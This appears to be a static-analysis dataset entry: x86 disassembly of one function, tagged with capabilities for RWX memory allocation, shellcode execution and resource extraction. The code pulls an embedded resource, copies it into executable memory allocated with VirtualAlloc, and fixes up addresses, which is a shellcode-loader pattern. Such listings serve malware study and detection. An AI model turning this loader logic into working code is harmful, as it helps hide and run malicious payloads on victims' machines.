Function at 0x100016c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x100efd4b
call fcn.100dd09c
sub esp, 0x84
mov ecx, dword [0x10115b98]
push ebx
push esi
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x14], eax
xor ebx, ebx
cmp eax, ebx
je 0x1000194e
mov al, byte [ebp - 0x25]
push ebx
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
call fcn.10002040
push dword [ebp - 0x14]
call fcn.100dcab0
pop ecx
push eax
lea ecx, [ebp - 0x24]
push dword [ebp - 0x14]
call fcn.100022af
cmp dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
je 0x1000172a
lea ecx, [ebp - 0x24]
call fcn.10002014
mov eax, dword [ebp - 0x20]
jmp 0x1000172f
mov eax, 0x100f7364
cmp byte [eax], 0x5f
jne 0x10001784
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x60]
push 0x1010873c
push eax
call fcn.10003575
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10115b98]
push dword [ebp - 0x14]
mov byte [ebp - 4], 1
mov eax, dword [ecx]
call dword [eax + 8]
push esi
mov ecx, 0x10115b50
mov edi, eax
call fcn.10001d5c
push 1
lea ecx, [ebp - 0x60]
mov dword [eax], edi
mov byte [ebp - 4], bl
call fcn.10002040
or dword [ebp - 4], 0xffffffff
push 1
jmp 0x10001933
cmp dword [ebp - 0x20], ebx
je 0x10001796
lea ecx, [ebp - 0x24]
call fcn.10002014
mov eax, dword [ebp - 0x20]
jmp 0x1000179b
mov eax, 0x100f7364
cmp byte [eax], 0x21
jne 0x100017d8
push dword [0x100f7360]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x24]
push 1
pop edi
push edi
push eax
call fcn.10001be6
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
push ebx
push eax
call fcn.10001ec4
push edi
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], bl
call fcn.10002040
jmp 0x100017db
push 1
pop edi
cmp dword [ebp - 0x20], ebx
je 0x100017ed
lea ecx, [ebp - 0x24]
call fcn.10002014
mov eax, dword [ebp - 0x20]
jmp 0x100017f2
mov eax, 0x100f7364
movsx eax, byte [eax]
push eax
call fcn.100dd5cd
test eax, eax
pop ecx
jne 0x10001839
push dword [0x100f7360]
lea eax, [ebp - 0x90]
lea ecx, [ebp - 0x24]
push edi
push eax
call fcn.10001be6
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
push ebx
push eax
call fcn.10001ec4
push edi
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], bl
call fcn.10002040
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jbe 0x100018c9
cmp dword [ebp - 0x1c], esi
jb 0x1000185d
cmp dword [ebp - 0x20], ebx
je 0x1000185d
lea ecx, [ebp - 0x24]
call fcn.10002014
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x10001862
mov eax, 0x100f7364
movsx eax, byte [eax]
push eax
call fcn.100dd5cd
test eax, eax
pop ecx
jne 0x10001893
cmp dword [ebp - 0x1c], esi
jb 0x10001889
cmp dword [ebp - 0x20], ebx
je 0x10001889
lea ecx, [ebp - 0x24]
call fcn.10002014
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x1000188e
mov eax, 0x100f7364
cmp byte [eax], 0x5f
jne 0x1000189b
inc esi
cmp dword [ebp - 0x1c], esi
ja 0x10001849
jmp 0x100018c9
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
lea ecx, [ebp - 0x24]
call fcn.10001be6
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
push ebx
push eax
call fcn.10001ec4
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], bl
call fcn.10002040
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.10057d20
push eax
lea eax, [ebp - 0x70]
push 0x10108738
push eax
mov byte [ebp - 4], 5
call fcn.10003575
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10115b98]
push dword [ebp - 0x14]
mov byte [ebp - 4], 6
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, eax
push esi
mov ecx, 0x10115b50
mov dword [ebp - 0x14], edx
call fcn.10001d5c
mov ecx, dword [ebp - 0x14]
push edi
mov dword [eax], ecx
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.10002040
push edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call fcn.10002040
or dword [ebp - 4], 0xffffffff
push edi
lea ecx, [ebp - 0x24]
call fcn.10002040
mov ecx, dword [0x10115b98]
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x14], eax
jmp 0x100016e9
push 0xa
push 0x457
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x10001967
call fcn.10001ac0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x1000197a
call fcn.10001ac0
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x1000198d
call fcn.10001ac0
mov eax, dword [ebp - 0x10]
push 0x40
push 0x3000
mov esi, dword [eax]
add dword [ebp - 0x10], 4
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov dword [0x10115b90], eax
push dword [ebp - 0x10]
push eax
call fcn.100dd270
add dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a17
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001ad9
mov eax, dword [0x10115b90]
mov dword [ebp - 4], 7
cmp dword [ebp - 0x2c], eax
jl 0x100019ee
add eax, esi
cmp dword [ebp - 0x2c], eax
jl 0x100019f3
call fcn.10001ac0
lea eax, [ebp - 0x3c]
mov ecx, 0x10115b70
push eax
call fcn.10001d5c
mov ecx, dword [ebp - 0x2c]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002040
dec edi
jne 0x100019c9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a5b
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001ad9
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 4], 8
call fcn.10001b60
or dword [ebp - 4], 0xffffffff
sub eax, esi
add dword [esi], eax
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002040
dec edi
jne 0x10001a26
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a9d
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10001ad9
mov esi, dword [ebp - 0x40]
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 4], 9
call fcn.10001b60
add dword [esi], eax
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x50]
call fcn.10002040
dec edi
jne 0x10001a6a
mov ecx, 0x10115b50
call fcn.1000225a
mov ecx, 0x10115b70
call fcn.1000225a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret